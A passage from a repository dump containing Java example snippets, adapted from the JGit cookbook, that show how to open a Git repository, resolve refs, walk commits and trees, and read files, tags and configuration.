throws IOException {\n        // now try to find a specific file\n        try (TreeWalk treeWalk = new TreeWalk(repository)) {\n            treeWalk.addTree(tree);\n            treeWalk.setRecursive(false);\n            treeWalk.setFilter(PathFilter.create(\"README.md\"));\n            if (!treeWalk.next()) {\n                throw new IllegalStateException(\"Did not find expected file 'README.md'\");\n            }\n\n            // FileMode specifies the type of file, FileMode.REGULAR_FILE for normal file, FileMode.EXECUTABLE_FILE for executable bit\n    // set\n            FileMode fileMode = treeWalk.getFileMode(0);\n            ObjectLoader loader = repository.open(treeWalk.getObjectId(0));\n            System.out.println(\"README.md: \" + getFileMode(fileMode) + \", type: \" + fileMode.getObjectType() + \", mode: \" + fileMode +\n                    \" size: \" + loader.getSize());\n        }\n    }\n\n    private static void printDirectory(Repository repository, RevTree tree) throws IOException {\n        // look at directory, this has FileMode.TREE\n        try (TreeWalk treeWalk = new TreeWalk(repository)) {\n            treeWalk.addTree(tree);\n            treeWalk.setRecursive(false);\n            treeWalk.setFilter(PathFilter.create(\"src\"));\n            if (!treeWalk.next()) {\n                throw new IllegalStateException(\"Did not find expected folder 'src'\");\n            }\n\n            // FileMode now indicates that this is a directory, i.e. FileMode.TREE.equals(fileMode) holds true\n            FileMode fileMode = treeWalk.getFileMode(0);\n            System.out.println(\"src: \" + getFileMode(fileMode) + \", type: \" + fileMode.getObjectType() + \", mode: \" + fileMode);\n        }\n    }\n\n    private static String getFileMode(FileMode fileMode) {\n        if (fileMode.equals(FileMode.EXECUTABLE_FILE)) {\n            return \"Executable File\";\n        } else if (fileMode.equals(FileMode.REGULAR_FILE)) {\n            return \"Normal File\";\n        } else if (fileMode.equals(FileMode.TREE)) {\n            return \"Directory\";\n        } else if (fileMode.equals(FileMode.SYMLINK)) {\n            return \"Symlink\";\n        } else {\n            // there are a few others, see FileMode javadoc for details\n            throw new IllegalArgumentException(\"Unknown type of file encountered: \" + fileMode);\n        }\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_jgit/src/main/java/com/jun/plugin/jgit/api/GetRefFromName.java",
    "content": "package com.jun.plugin.jgit.api;\n\nimport org.eclipse.jgit.lib.Ref;\nimport org.eclipse.jgit.lib.Repository;\n\nimport com.jun.plugin.jgit.helper.CookbookHelper;\n\nimport java.io.IOException;\n/**\n * Simple snippet which shows how to retrieve a Ref for some reference string.\n */\npublic class GetRefFromName {\n\n    public static void main(String[] args) throws IOException {\n        try (Repository repository = CookbookHelper.openJGitCookbookRepository()) {\n            // the Ref holds an ObjectId for any type of object (tree, commit, blob, tree)\n            Ref head = repository.exactRef(\"refs/heads/master\");\n            System.out.println(\"Ref of refs/heads/master: \" + head + \": \" + head.getName() + \" - \" + head.getObjectId().getName());\n        }\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_jgit/src/main/java/com/jun/plugin/jgit/api/GetRevCommitFromObjectId.java",
    "content": "package com.jun.plugin.jgit.api;\n\nimport org.eclipse.jgit.lib.ObjectId;\nimport org.eclipse.jgit.lib.Ref;\nimport org.eclipse.jgit.lib.Repository;\nimport org.eclipse.jgit.revwalk.RevCommit;\nimport org.eclipse.jgit.revwalk.RevWalk;\n\nimport com.jun.plugin.jgit.helper.CookbookHelper;\n\nimport java.io.IOException;\n\n/**\n * Simple snippet which shows how to use RevWalk to iterate over objects\n */\npublic class GetRevCommitFromObjectId {\n\n    public static void main(String[] args) throws IOException {\n        try (Repository repository = CookbookHelper.openJGitCookbookRepository()) {\n            Ref head = repository.exactRef(\"refs/heads/master\");\n            System.out.println(\"Found head: \" + head);\n\n            // a RevWalk allows to walk over commits based on some filtering that is defined\n            try (RevWalk walk = new RevWalk(repository)) {\n                RevCommit commit = walk.parseCommit(head.getObjectId());\n                System.out.println(\"Found Commit: \" + commit);\n\n                // You can also get the commit for an (abbreviated) SHA\n                walk.reset();\n                ObjectId id = repository.resolve(\"38d51408bd\");\n                RevCommit commitAgain = walk.parseCommit(id);\n                System.out.println(\"Found Commit again: \" + commitAgain);\n\n                walk.dispose();\n            }\n        }\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_jgit/src/main/java/com/jun/plugin/jgit/api/GetRevTreeFromObjectId.java",
    "content": "package com.jun.plugin.jgit.api;\n\nimport org.eclipse.jgit.lib.Ref;\nimport org.eclipse.jgit.lib.Repository;\nimport org.eclipse.jgit.revwalk.RevCommit;\nimport org.eclipse.jgit.revwalk.RevTree;\nimport org.eclipse.jgit.revwalk.RevWalk;\n\nimport com.jun.plugin.jgit.helper.CookbookHelper;\n\nimport java.io.IOException;\n\n/**\n * Simple snippet which shows how to use RevWalk to iterate over objects\n */\npublic class GetRevTreeFromObjectId {\n\n    public static void main(String[] args) throws IOException {\n        try (Repository repository = CookbookHelper.openJGitCookbookRepository()) {\n            // See e.g. GetRevCommitFromObjectId for how to use a SHA-1 directly\n            Ref head = repository.findRef(\"HEAD\");\n            System.out.println(\"Ref of HEAD: \" + head + \": \" + head.getName() + \" - \" + head.getObjectId().getName());\n\n            // a RevWalk allows to walk over commits based on some filtering that is defined\n            try (RevWalk walk = new RevWalk(repository)) {\n                RevCommit commit = walk.parseCommit(head.getObjectId());\n                System.out.println(\"Commit: \" + commit);\n\n                // a commit points to a tree\n                RevTree tree = walk.parseTree(commit.getTree().getId());\n                System.out.println(\"Found Tree: \" + tree);\n\n                walk.dispose();\n            }\n        }\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_jgit/src/main/java/com/jun/plugin/jgit/api/ListFilesOfCommitAndTag.java",
    "content": "package com.jun.plugin.jgit.api;\n\nimport org.eclipse.jgit.lib.FileMode;\nimport org.eclipse.jgit.lib.ObjectId;\nimport org.eclipse.jgit.lib.Repository;\nimport org.eclipse.jgit.revwalk.RevCommit;\nimport org.eclipse.jgit.revwalk.RevTree;\nimport org.eclipse.jgit.revwalk.RevWalk;\nimport org.eclipse.jgit.treewalk.TreeWalk;\n\nimport com.jun.plugin.jgit.helper.CookbookHelper;\n\nimport java.io.FileNotFoundException;\nimport java.io.IOException;\nimport java.util.ArrayList;\nimport java.util.List;\n\n/**\n * Simple snippet which shows how to get a list of files/directories\n * based on a specific commit or a tag.\n */\npublic class ListFilesOfCommitAndTag {\n\n    public static void main(String[] args) throws IOException {\n        try (Repository repository = CookbookHelper.openJGitCookbookRepository()) {\n            List<String> paths = readElementsAt(repository, \"6409ee1597a53c6fbee31edf9cde31dc3afbe20f\", \"src/main/java/org/dstadler/jgit/porcelain\");\n\n            System.out.println(\"Had paths for commit: \" + paths);\n\n            final ObjectId testbranch = repository.resolve(\"testbranch\");\n            paths = readElementsAt(repository, testbranch.getName(), \"src/main/java/org/dstadler/jgit/porcelain\");\n\n            System.out.println(\"Had paths for tag: \" + paths);\n        }\n    }\n\n    private static List<String> readElementsAt(Repository repository, String commit, String path) throws IOException {\n        RevCommit revCommit = buildRevCommit(repository, commit);\n\n        // and using commit's tree find the path\n        RevTree tree = revCommit.getTree();\n        //System.out.println(\"Having tree: \" + tree + \" for commit \" + commit);\n\n        List<String> items = new ArrayList<>();\n\n        // shortcut for root-path\n        if(path.isEmpty()) {\n            try (TreeWalk treeWalk = new TreeWalk(repository)) {\n                treeWalk.addTree(tree);\n                treeWalk.setRecursive(false);\n                treeWalk.setPostOrderTraversal(false);\n\n                while(treeWalk.next()) {\n                    items.add(treeWalk.getPathString());\n                }\n            }\n        } else {\n            // now try to find a specific file\n            try (TreeWalk treeWalk = buildTreeWalk(repository, tree, path)) {\n                if((treeWalk.getFileMode(0).getBits() & FileMode.TYPE_TREE) == 0) {\n                    throw new IllegalStateException(\"Tried to read the elements of a non-tree for commit '\" + commit + \"' and path '\" + path + \"', had filemode \" + treeWalk.getFileMode(0).getBits());\n                }\n\n                try (TreeWalk dirWalk = new TreeWalk(repository)) {\n                    dirWalk.addTree(treeWalk.getObjectId(0));\n                    dirWalk.setRecursive(false);\n                    while(dirWalk.next()) {\n                        items.add(dirWalk.getPathString());\n                    }\n                }\n            }\n        }\n\n        return items;\n    }\n\n    private static RevCommit buildRevCommit(Repository repository, String commit) throws IOException {\n        // a RevWalk allows to walk over commits based on some filtering that is defined\n        try (RevWalk revWalk = new RevWalk(repository)) {\n            return revWalk.parseCommit(ObjectId.fromString(commit));\n        }\n    }\n\n    private static TreeWalk buildTreeWalk(Repository repository, RevTree tree, final String path) throws IOException {\n        TreeWalk treeWalk = TreeWalk.forPath(repository, path, tree);\n\n        if(treeWalk == null) {\n            throw new FileNotFoundException(\"Did not find expected file '\" + path + \"' in tree '\" + tree.getName() + \"'\");\n        }\n\n        return treeWalk;\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_jgit/src/main/java/com/jun/plugin/jgit/api/PrintRemotes.java",
    "content": "package com.jun.plugin.jgit.api;\n\n/*\n   Copyright 2013, 2014 Dominik Stadler\n\n   Licensed under the Apache License, Version 2.0 (the \"License\");\n   you may not use this file except in compliance with the License.\n   You may obtain a copy of the License at\n\n     http://www.apache.org/licenses/LICENSE-2.0\n\n   Unless required by applicable law or agreed to in writing, software\n   distributed under the License is distributed on an \"AS IS\" BASIS,\n   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n   See the License for the specific language governing permissions and\n   limitations under the License.\n */\n\nimport java.io.IOException;\nimport java.util.Set;\n\nimport org.eclipse.jgit.lib.Config;\nimport org.eclipse.jgit.lib.Repository;\n\nimport com.jun.plugin.jgit.helper.CookbookHelper;\n\n/**\n * Simple snippet which shows how to retrieve the list of remotes from the configuration\n */\npublic class PrintRemotes {\n\n    public static void main(String[] args) throws IOException {\n        try (Repository repository = CookbookHelper.openJGitCookbookRepository()) {\n            Config storedConfig = repository.getConfig();\n            Set<String> remotes = storedConfig.getSubsections(\"remote\");\n\n            for (String remoteName : remotes) {\n                String url = storedConfig.getString(\"remote\", remoteName, \"url\");\n                System.out.println(remoteName + \" \" + url);\n            }\n        }\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_jgit/src/main/java/com/jun/plugin/jgit/api/ReadBlobContents.java",
    "content": "package com.jun.plugin.jgit.api;\n\nimport org.eclipse.jgit.lib.ObjectLoader;\nimport org.eclipse.jgit.lib.Ref;\nimport org.eclipse.jgit.lib.Repository;\nimport org.eclipse.jgit.revwalk.RevCommit;\nimport org.eclipse.jgit.revwalk.RevTree;\nimport org.eclipse.jgit.revwalk.RevWalk;\n\nimport com.jun.plugin.jgit.helper.CookbookHelper;\n\nimport java.io.IOException;\n\n/**\n * Simple snippet which shows how to retrieve a Ref for some reference string.\n */\npublic class ReadBlobContents {\n\n    public static void main(String[] args) throws IOException {\n        try (Repository repository = CookbookHelper.openJGitCookbookRepository()) {\n            // the Ref holds an ObjectId for any type of object (tree, commit, blob, tree)\n            Ref head = repository.exactRef(\"refs/heads/master\");\n            System.out.println(\"Ref of refs/heads/master: \" + head);\n\n            System.out.println(\"\\nPrint contents of head of master branch, i.e. the latest commit information\");\n            ObjectLoader loader = repository.open(head.getObjectId());\n            loader.copyTo(System.out);\n\n            System.out.println(\"\\nPrint contents of tree of head of master branch, i.e. the latest binary tree information\");\n\n            // a commit points to a tree\n            try (RevWalk walk = new RevWalk(repository)) {\n                RevCommit commit = walk.parseCommit(head.getObjectId());\n                RevTree tree = walk.parseTree(commit.getTree().getId());\n                System.out.println(\"Found Tree: \" + tree);\n                loader = repository.open(tree.getId());\n                loader.copyTo(System.out);\n\n                walk.dispose();\n            }\n        }\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_jgit/src/main/java/com/jun/plugin/jgit/api/ReadFileFromCommit.java",
    "content": "package com.jun.plugin.jgit.api;\n\n/*\n   Copyright 2013, 2014 Dominik Stadler\n\n   Licensed under the Apache License, Version 2.0 (the \"License\");\n   you may not use this file except in compliance with the License.\n   You may obtain a copy of the License at\n\n     http://www.apache.org/licenses/LICENSE-2.0\n\n   Unless required by applicable law or agreed to in writing, software\n   distributed under the License is distributed on an \"AS IS\" BASIS,\n   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n   See the License for the specific language governing permissions and\n   limitations under the License.\n */\n\nimport java.io.IOException;\n\nimport org.eclipse.jgit.lib.Constants;\nimport org.eclipse.jgit.lib.ObjectId;\nimport org.eclipse.jgit.lib.ObjectLoader;\nimport org.eclipse.jgit.lib.Repository;\nimport org.eclipse.jgit.revwalk.RevCommit;\nimport org.eclipse.jgit.revwalk.RevTree;\nimport org.eclipse.jgit.revwalk.RevWalk;\nimport org.eclipse.jgit.treewalk.TreeWalk;\nimport org.eclipse.jgit.treewalk.filter.PathFilter;\n\nimport com.jun.plugin.jgit.helper.CookbookHelper;\n\n/**\n * Snippet which shows how to use RevWalk and TreeWalk to read the contents\n * of a specific file from a specific commit.\n *\n * @author dominik.stadler at gmx.at\n */\npublic class ReadFileFromCommit {\n\n    public static void main(String[] args) throws IOException {\n        try (Repository repository = CookbookHelper.openJGitCookbookRepository()) {\n            // find the HEAD\n            ObjectId lastCommitId = repository.resolve(Constants.HEAD);\n\n            // a RevWalk allows to walk over commits based on some filtering that is defined\n            try (RevWalk revWalk = new RevWalk(repository)) {\n                RevCommit commit = revWalk.parseCommit(lastCommitId);\n                // and using commit's tree find the path\n                RevTree tree = commit.getTree();\n                System.out.println(\"Having tree: \" + tree);\n\n                // now try to find a specific file\n                try (TreeWalk treeWalk = new TreeWalk(repository)) {\n                    treeWalk.addTree(tree);\n                    treeWalk.setRecursive(true);\n                    treeWalk.setFilter(PathFilter.create(\"README.md\"));\n                    if (!treeWalk.next()) {\n                        throw new IllegalStateException(\"Did not find expected file 'README.md'\");\n                    }\n\n                    ObjectId objectId = treeWalk.getObjectId(0);\n                    ObjectLoader loader = repository.open(objectId);\n\n                    // and then one can the loader to read the file\n                    loader.copyTo(System.out);\n                }\n\n                revWalk.dispose();\n            }\n        }\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_jgit/src/main/java/com/jun/plugin/jgit/api/ReadTagFromName.java",
    "content": "package com.jun.plugin.jgit.api;\n\nimport org.eclipse.jgit.lib.ObjectLoader;\nimport org.eclipse.jgit.lib.Ref;\nimport org.eclipse.jgit.lib.Repository;\nimport org.eclipse.jgit.revwalk.RevObject;\nimport org.eclipse.jgit.revwalk.RevWalk;\n\nimport com.jun.plugin.jgit.helper.CookbookHelper;\n\nimport java.io.IOException;\n\n/**\n * Simple snippet which shows how to use RevWalk to read tags\n */\npublic class ReadTagFromName {\n\n    public static void main(String[] args) throws IOException {\n        try (Repository repository = CookbookHelper.openJGitCookbookRepository()) {\n            // a RevWalk allows to retrieve information from the repository\n            try (RevWalk walk = new RevWalk(repository)) {\n                // a simple tag that is not annotated\n                Ref simpleTag = repository.findRef(\"initialtag\");\n                RevObject any = walk.parseAny(simpleTag.getObjectId());\n                System.out.println(\"Commit: (\" + any.getClass() + \")\" + any);\n\n                // an annotated tag\n                Ref annotatedTag = repository.findRef(\"secondtag\");\n                any = walk.parseAny(annotatedTag.getObjectId());\n                System.out.println(\"Tag: (\" + any.getClass() + \")\" + any);\n\n                // finally try to print out the tag-content\n                System.out.println(\"\\nTag-Content: \\n\");\n                ObjectLoader loader = repository.open(annotatedTag.getObjectId());\n                loader.copyTo(System.out);\n\n                walk.dispose();\n            }\n        }\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_jgit/src/main/java/com/jun/plugin/jgit/api/ReadUserConfig.java",
    "content": "package com.jun.plugin.jgit.api;\n\n/*\n   Copyright 2013, 2014 Dominik Stadler\n\n   Licensed under the Apache License, Version 2.0 (the \"License\");\n   you may not use this file except in compliance with the License.\n   You may obtain a copy of the License at\n\n     http://www.apache.org/licenses/LICENSE-2.0\n\n   Unless required by applicable law or agreed to in writing, software\n   distributed under the License is distributed on an \"AS IS\" BASIS,\n   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n   See the License for the specific language governing permissions and\n   limitations under the License.\n */\n\nimport java.io.IOException;\n\nimport org.eclipse.jgit.lib.Config;\nimport org.eclipse.jgit.lib.Repository;\n\nimport com.jun.plugin.jgit.helper.CookbookHelper;\n\n/**\n * Simple snippet which shows how to retrieve the user name and email that is configured in Git.\n */\npublic class ReadUserConfig {\n\n    public static void main(String[] args) throws IOException {\n        try (Repository repository = CookbookHelper.openJGitCookbookRepository()) {\n            Config config = repository.getConfig();\n            String name = config.getString(\"user\", null, \"name\");\n            String email = config.getString(\"user\", null, \"email\");\n            if (name == null || email == null) {\n                System.out.println(\"User identity is unknown!\");\n            } else {\n                System.out.println(\"User identity is \" + name + \" <\" + email + \">\");\n            }\n\n            String url = config.getString(\"remote\", \"origin\", \"url\");\n            if (url != null) {\n                    System.out.println(\"Origin comes from \" + url);\n            }\n        }\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_jgit/src/main/java/com/jun/plugin/jgit/api/ResolveRef.java",
    "content": "package com.jun.plugin.jgit.api;\n\n/*\n   Copyright 2013, 2014 Dominik Stadler\n\n   Licensed under the Apache License, Version 2.0 (the \"License\");\n   you may not use this file except in compliance with the License.\n   You may obtain a copy of the License at\n\n     http://www.apache.org/licenses/LICENSE-2.0\n\n   Unless required by applicable law or agreed to in writing, software\n   distributed under the License is distributed on an \"AS IS\" BASIS,\n   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n   See the License for the specific language governing permissions and\n   limitations under the License.\n */\n\nimport java.io.IOException;\n\nimport org.eclipse.jgit.lib.ObjectId;\nimport org.eclipse.jgit.lib.Repository;\n\nimport com.jun.plugin.jgit.helper.CookbookHelper;\n\n\n\n/**\n * Simple snippet which shows how to retrieve an ObjectId for some name.\n */\npublic class ResolveRef {\n\n    public static void main(String[] args) throws IOException {\n        try (Repository repository = CookbookHelper.openJGitCookbookRepository()) {\n            // basic syntax is similar to getRef()\n            ObjectId id = repository.resolve(\"HEAD\");\n            System.out.println(\"ObjectId of HEAD: \" + id);\n\n            // however resolve() supports almost all of the git-syntax, where getRef() only works on names\n            id = repository.resolve(\"HEAD^1\");\n            System.out.println(\"ObjectId of HEAD: \" + id);\n\n            id = repository.resolve(\"b419522521af553ae2752fd1b609f2aa11062243\");\n            System.out.println(\"ObjectId of specific commit: \" + id);\n\n            id = repository.resolve(\"05d18a76875716fbdbd2c200091b40caa06c713d\");\n            System.out.println(\"ObjectId of merged commit: \" + id);\n        }\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_jgit/src/main/java/com/jun/plugin/jgit/api/ShowBranchTrackingStatus.java",
    "content": "package com.jun.plugin.jgit.api;\n\n/*\n * Copyright 2013, 2014 Dominik Stadler\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\nimport java.io.IOException;\nimport java.util.ArrayList;\nimport java.util.List;\n\nimport org.eclipse.jgit.api.Git;\nimport org.eclipse.jgit.api.errors.GitAPIException;\nimport org.eclipse.jgit.lib.BranchTrackingStatus;\nimport org.eclipse.jgit.lib.Ref;\nimport org.eclipse.jgit.lib.Repository;\n\nimport com.jun.plugin.jgit.helper.CookbookHelper;\n\n/**\n * Snippet which shows how to use BranchTrackingStatus to print\n * how many commits away the local git repository is from the\n * remote branches.\n *\n * @author dominik.stadler at gmx.at\n */\npublic class ShowBranchTrackingStatus {\n\n    public static void main(String[] args) throws IOException, GitAPIException {\n        try (Repository repository = CookbookHelper.openJGitCookbookRepository()) {\n            try (Git git = new Git(repository)) {\n                List<Ref> call = git.branchList().call();\n                for (Ref ref : call) {\n                    List<Integer> counts = getCounts(repository, ref.getName());\n                    System.out.println(\"For branch: \" + ref.getName());\n                    System.out.println(\"Commits ahead : \" + counts.get(0));\n                    System.out.println(\"Commits behind : \" + counts.get(1));\n                    System.out.println();\n                }\n            }\n        }\n    }\n\n    private static List<Integer> getCounts(org.eclipse.jgit.lib.Repository repository, String branchName) throws IOException {\n        BranchTrackingStatus trackingStatus = BranchTrackingStatus.of(repository, branchName);\n        List<Integer> counts = new ArrayList<>();\n        if (trackingStatus != null) {\n            counts.add(trackingStatus.getAheadCount());\n            counts.add(trackingStatus.getBehindCount());\n        } else {\n            System.out.println(\"Returned null, likely no remote tracking of branch \" + branchName);\n            counts.add(0);\n            counts.add(0);\n        }\n        return counts;\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_jgit/src/main/java/com/jun/plugin/jgit/api/WalkAllCommits.java",
    "content": "package com.jun.plugin.jgit.api;\n\nimport org.eclipse.jgit.lib.Ref;\nimport org.eclipse.jgit.lib.Repository;\nimport org.eclipse.jgit.revwalk.RevCommit;\nimport org.eclipse.jgit.revwalk.RevWalk;\n\nimport com.jun.plugin.jgit.helper.CookbookHelper;\n\nimport java.io.IOException;\nimport java.util.Collection;\n\n\n/**\n * Simple snippet which shows how to use RevWalk to iterate over all commits\n * across all branches/tags/remotes in the given repository\n *\n * See the original discussion at http://stackoverflow.com/a/40803945/411846\n */\npublic class WalkAllCommits {\n\n    public static void main(String[] args) throws IOException {\n        try (Repository repository = CookbookHelper.openJGitCookbookRepository()) {\n            // get a list of all known heads, tags, remotes, ...\n            Collection<Ref> allRefs = repository.getAllRefs().values();\n\n            // a RevWalk allows to walk over commits based on some filtering that is defined\n            try (RevWalk revWalk = new RevWalk( repository )) {\n                for( Ref ref : allRefs ) {\n                    revWalk.markStart( revWalk.parseCommit( ref.getObjectId() ));\n                }\n                System.out.println(\"Walking all commits starting with \" + allRefs.size() + \" refs: \" + allRefs);\n                int count = 0;\n                for( RevCommit commit : revWalk ) {\n                    System.out.println(\"Commit: \" + commit);\n                    count++;\n                }\n                System.out.println(\"Had \" + count + \" commits\");\n            }\n        }\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_jgit/src/main/java/com/jun/plugin/jgit/api/WalkFromToRev.java",
    "content": "package com.jun.plugin.jgit.api;\n\nimport org.eclipse.jgit.lib.Repository;\nimport org.eclipse.jgit.revwalk.RevCommit;\nimport org.eclipse.jgit.revwalk.RevWalk;\n\nimport com.jun.plugin.jgit.helper.CookbookHelper;\n\nimport java.io.IOException;\n\n\n/**\n * Simple snippet which shows how to use RevWalk to iterate over objects\n */\npublic class WalkFromToRev {\n\n    public static void main(String[] args) throws IOException {\n        try (Repository repository = CookbookHelper.openJGitCookbookRepository()) {\n            String from = \"3408efc41a51555d488d30d8a91ea560c5e13311\";\n            String to = \"7228de6ebe2a3087118562414061af4e189624c0\";\n\n            // a RevWalk allows to walk over commits based on some filtering that is defined\n            try (RevWalk walk = new RevWalk(repository)) {\n                RevCommit commit = walk.parseCommit(repository.resolve(to));\n                System.out.println(\"Start-Commit: \" + commit);\n\n                System.out.println(\"Walking all commits starting at \" + to + \" until we find \" + from);\n                walk.markStart(commit);\n                int count = 0;\n                for (RevCommit rev : walk) {\n                    System.out.println(\"Commit: \" + rev);\n                    count++;\n\n                    if(rev.getId().getName().equals(from)) {\n                        System.out.println(\"Found from, stopping walk\");\n                        break;\n                    }\n                }\n                System.out.println(count);\n\n                walk.dispose();\n            }\n        }\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_jgit/src/main/java/com/jun/plugin/jgit/api/WalkRev.java",
    "content": "package com.jun.plugin.jgit.api;\n\nimport org.eclipse.jgit.lib.Ref;\nimport org.eclipse.jgit.lib.Repository;\nimport org.eclipse.jgit.revwalk.RevCommit;\nimport org.eclipse.jgit.revwalk.RevWalk;\n\nimport com.jun.plugin.jgit.helper.CookbookHelper;\n\nimport java.io.IOException;\n\n\n\n/**\n * Simple snippet which shows how to use RevWalk to iterate over objects\n */\npublic class WalkRev {\n\n    public static void main(String[] args) throws IOException {\n        try (Repository repository = CookbookHelper.openJGitCookbookRepository()) {\n            Ref head = repository.exactRef(\"refs/heads/master\");\n\n            // a RevWalk allows to walk over commits based on some filtering that is defined\n            try (RevWalk walk = new RevWalk(repository)) {\n                RevCommit commit = walk.parseCommit(head.getObjectId());\n                System.out.println(\"Start-Commit: \" + commit);\n\n                System.out.println(\"Walking all commits starting at HEAD\");\n                walk.markStart(commit);\n                int count = 0;\n                for (RevCommit rev : walk) {\n                    System.out.println(\"Commit: \" + rev);\n                    count++;\n                }\n                System.out.println(count);\n\n                walk.dispose();\n            }\n        }\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_jgit/src/main/java/com/jun/plugin/jgit/api/WalkTreeNonRecursive.java",
    "content": "package com.jun.plugin.jgit.api;\n\nimport org.eclipse.jgit.lib.Ref;\nimport org.eclipse.jgit.lib.Repository;\nimport org.eclipse.jgit.revwalk.RevCommit;\nimport org.eclipse.jgit.revwalk.RevTree;\nimport org.eclipse.jgit.revwalk.RevWalk;\nimport org.eclipse.jgit.treewalk.TreeWalk;\n\nimport com.jun.plugin.jgit.helper.CookbookHelper;\n\nimport java.io.IOException;\n\n/**\n *\n * Simple snippet which shows how to use RevWalk to iterate over items in a file-tree\n *\n * See {@link WalkTreeNonRecursive} for a different usage of the {@link TreeWalk} class.\n *\n * @author dominik.stadler at gmx.at\n */\npublic class WalkTreeNonRecursive {\n\n    public static void main(String[] args) throws IOException {\n        try (Repository repository = CookbookHelper.openJGitCookbookRepository()) {\n            Ref head = repository.findRef(\"HEAD\");\n\n            // a RevWalk allows to walk over commits based on some filtering that is defined\n            try (RevWalk walk = new RevWalk(repository)) {\n                RevCommit commit = walk.parseCommit(head.getObjectId());\n                RevTree tree = commit.getTree();\n                System.out.println(\"Having tree: \" + tree);\n\n                // now use a TreeWalk to iterate over all files in the Tree\n                // you can set Filters to narrow down the results if needed\n                try (TreeWalk treeWalk = new TreeWalk(repository)) {\n                    treeWalk.addTree(tree);\n                    // not walk the tree recursively so we only get the elements in the top-level directory\n                    treeWalk.setRecursive(false);\n                    while (treeWalk.next()) {\n                        System.out.println(\"found: \" + treeWalk.getPathString());\n                    }\n                }\n            }\n        }\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_jgit/src/main/java/com/jun/plugin/jgit/api/WalkTreeRecursive.java",
    "content": "package com.jun.plugin.jgit.api;\n\nimport org.eclipse.jgit.lib.Ref;\nimport org.eclipse.jgit.lib.Repository;\nimport org.eclipse.jgit.revwalk.RevCommit;\nimport org.eclipse.jgit.revwalk.RevTree;\nimport org.eclipse.jgit.revwalk.RevWalk;\nimport org.eclipse.jgit.treewalk.TreeWalk;\n\nimport com.jun.plugin.jgit.helper.CookbookHelper;\n\nimport java.io.IOException;\n\n/**\n * Simple snippet which shows how to use RevWalk to iterate over items in a file-tree.\n *\n * See {@link WalkTreeNonRecursive} for a different usage of the {@link TreeWalk} class.\n *\n * @author dominik.stadler at gmx.at\n */\npublic class WalkTreeRecursive {\n\n    public static void main(String[] args) throws IOException {\n        try (Repository repository = CookbookHelper.openJGitCookbookRepository()) {\n            Ref head = repository.findRef(\"HEAD\");\n\n            // a RevWalk allows to walk over commits based on some filtering that is defined\n            try (RevWalk walk = new RevWalk(repository)) {\n                RevCommit commit = walk.parseCommit(head.getObjectId());\n                RevTree tree = commit.getTree();\n                System.out.println(\"Having tree: \" + tree);\n\n                // now use a TreeWalk to iterate over all files in the Tree recursively\n                // you can set Filters to narrow down the results if needed\n                try (TreeWalk treeWalk = new TreeWalk(repository)) {\n                    treeWalk.addTree(tree);\n                    treeWalk.setRecursive(true);\n                    while (treeWalk.next()) {\n                        System.out.println(\"found: \" + treeWalk.getPathString());\n                    }\n                }\n            }\n        }\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_jgit/src/main/java/com/jun/plugin/jgit/helper/CookbookHelper.java",
    "content": "package com.jun.plugin.jgit.helper;\n\n/*\n   Copyright 2013, 2014 Dominik Stadler\n\n   Licensed under the Apache License, Version 2.0 (the \"License\");\n   you may not use this file except in compliance with the License.\n   You may obtain a copy of the License at\n\n     http://www.apache.org/licenses/LICENSE-2.0\n\n   Unless required by applicable law or agreed to in writing, software\n   distributed under the License is distributed on an \"AS IS\" BASIS,\n   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n   See the License for the specific language governing permissions and\n   limitations under the License.\n */\n\nimport java.io.File;\nimport java.io.IOException;\n\nimport org.eclipse.jgit.lib.Repository;\nimport org.eclipse.jgit.storage.file.FileRepositoryBuilder;\n\n\npublic class CookbookHelper {\n\n    public static Repository openJGitCookbookRepository() throws IOException {\n        FileRepositoryBuilder builder = new FileRepositoryBuilder();\n        return builder\n                .readEnvironment() // scan environment GIT_* variables\n                .findGitDir() // scan up the file system tree\n                .build();\n    }\n\n    public static Repository createNewRepository() throws IOException {\n        // prepare a new folder\n        File localPath = File.createTempFile(\"TestGitRepository\", \"\");\n        if(!localPath.delete()) {\n            throw new IOException(\"Could not delete temporary file \" + localPath);\n        }\n\n        // create the directory\n        Repository repository = FileRepositoryBuilder.create(new File(localPath, \".git\"));\n        repository.create();\n\n        return repository;\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_jgit/src/main/java/com/jun/plugin/jgit/porcelain/AddAndListNoteOfCommit.java",
